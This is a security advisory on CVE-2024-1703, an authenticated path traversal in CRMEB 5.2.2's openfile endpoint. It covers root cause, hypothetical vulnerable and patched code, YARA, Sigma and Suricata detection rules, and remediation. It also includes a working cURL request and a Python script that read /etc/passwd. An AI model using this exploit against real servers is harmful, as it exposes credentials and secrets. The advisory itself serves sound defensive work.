CVE-2024-1703

Executive Summary

CVE-2024-1703 is a problematic vulnerability in ZhongBangKeji CRMEB version 5.2.2, an open-source e-commerce platform. The flaw resides in the /adminapi/system/file/openfile endpoint, where the openfile function allows an authenticated attacker to perform an absolute path traversal. This enables reading arbitrary files from the server's filesystem, potentially exposing sensitive configuration files, credentials, or source code. The vulnerability has a low CVSS score of 3.5 due to the requirement of authentication and the limited impact on confidentiality. No patch has been released by the vendor, and a public proof-of-concept exists.

Supply Chain & Package Security

CRMEB is a PHP-based application. This vulnerability does not directly affect a package registry (NPM, PyPI, Go, Ruby), but it impacts the integrity of the software supply chain for organizations using CRMEB. An attacker who gains access to the admin panel can leverage this path traversal to read configuration files containing database credentials, API keys, or other secrets, potentially leading to further compromise of the underlying infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 3.5 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker must have valid admin credentials.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): Low – Limited file read capability.
• Integrity (I): None – No data modification.
• Availability (A): None – No denial of service.

Threat Level: Low. The requirement for authentication significantly reduces the attack surface. However, if an attacker obtains admin credentials (e.g., via phishing or weak passwords), they can read sensitive files.

Deep Dive & Mechanics

The vulnerability exists in the openfile function within the file /adminapi/system/file/openfile. This endpoint is designed to allow administrators to view the contents of files on the server. The function fails to properly sanitize the user-supplied file path, allowing an attacker to use absolute path traversal sequences (e.g., ../../etc/passwd or /etc/passwd) to read files outside the intended web root directory.

Root Cause: The application does not validate that the requested file path is within an allowed directory (e.g., the application's base path). It directly passes the user input to a file reading function (likely file_get_contents() or fread() in PHP) without checking for path traversal characters.

Exploit Mechanics:

1. An attacker authenticates to the CRMEB admin panel.
2. The attacker sends a GET or POST request to /adminapi/system/file/openfile with a parameter (e.g., filepath) containing an absolute path like /etc/passwd.
3. The server reads and returns the contents of the requested file.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

// Vulnerable code (hypothetical)
public function openfile(Request $request) {
    $filepath = $request->input('filepath');
    // No validation or sanitization
    $content = file_get_contents($filepath);
    return response()->json(['content' => $content]);
}

A patched version would include validation to ensure the file path is within an allowed directory:

// Patched code (hypothetical)
public function openfile(Request $request) {
    $basePath = base_path(); // e.g., /var/www/html
    $filepath = $request->input('filepath');
    // Resolve the absolute path and check it starts with the base path
    $realPath = realpath($basePath . '/' . $filepath);
    if ($realPath === false || strpos($realPath, $basePath) !== 0) {
        return response()->json(['error' => 'Invalid file path'], 403);
    }
    $content = file_get_contents($realPath);
    return response()->json(['content' => $content]);
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid admin credentials for CRMEB 5.2.2.
• Network access to the CRMEB admin panel.

Exploit Steps:

1. Log in to the CRMEB admin panel.
2. Send a crafted request to the vulnerable endpoint.

Example Request (using cURL):

curl -X GET "http://target.com/adminapi/system/file/openfile?filepath=/etc/passwd" \
  -H "Cookie: PHPSESSID=your_session_id"

Expected Response:

{
  "content": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n..."
}

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()

# Login first (adjust login endpoint and credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/adminapi/login", data=login_data)

# Exploit path traversal
file_to_read = "/etc/passwd"
response = session.get(f"{target}/adminapi/system/file/openfile", params={"filepath": file_to_read})
print(response.json().get("content"))

Blue Team (Detection & Defense)

Detection:

• Monitor for requests to /adminapi/system/file/openfile with suspicious filepath parameters containing ../ or absolute paths like /etc/, /var/, /proc/.
• Alert on any access to this endpoint from non-admin IPs or unusual times.

Defense:

• Implement strict input validation on the filepath parameter.
• Use a whitelist of allowed directories.
• Apply the principle of least privilege to the web server user.
• Deploy a Web Application Firewall (WAF) with rules to block path traversal attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /adminapi/system/file/openfile with filepath parameter containing ../ or absolute paths.
  • Unusual outbound data transfers from the server (e.g., large responses from the admin API).
• File System IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, .env, or other sensitive files.
• Log IOCs:
  • Web server logs showing requests to /adminapi/system/file/openfile with suspicious parameters.
  • Application logs showing file read errors or access to restricted paths.

Detection Engineering

YARA Rule

rule CVE_2024_1703_Path_Traversal {
    meta:
        description = "Detects attempts to exploit CVE-2024-1703 in CRMEB"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1703"
    strings:
        $s1 = "/adminapi/system/file/openfile" ascii wide nocase
        $s2 = "filepath=" ascii wide nocase
        $s3 = "../" ascii wide
        $s4 = "/etc/" ascii wide
        $s5 = "/var/" ascii wide
        $s6 = "/proc/" ascii wide
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-1703 CRMEB Path Traversal
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts against CRMEB /adminapi/system/file/openfile
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1703
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/adminapi/system/file/openfile'
        cs-uri-query|contains:
            - 'filepath='
            - '../'
            - '/etc/'
            - '/var/'
            - '/proc/'
    condition: selection
falsepositives:
    - Legitimate admin file viewing within allowed directories
level: medium
tags:
    - attack.t1005
    - cve.2024.1703

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1703 CRMEB Path Traversal Attempt"; flow:to_server,established; content:"/adminapi/system/file/openfile"; http_uri; content:"filepath="; http_uri; pcre:"/(\.\.\/|\/etc\/|\/var\/|\/proc\/)/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /adminapi/system/file/openfile via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Restrict admin access to trusted IP addresses only.
3. Review and rotate all secrets that may have been exposed (database passwords, API keys, etc.).

Long-term Fix:

• Apply input validation and sanitization to the filepath parameter.
• Implement a whitelist of allowed directories for file reading.
• Upgrade to a patched version of CRMEB when available.
• Conduct a security audit of the entire application.

Workaround:

• Use a Web Application Firewall (WAF) to block requests containing path traversal patterns.

Valters IT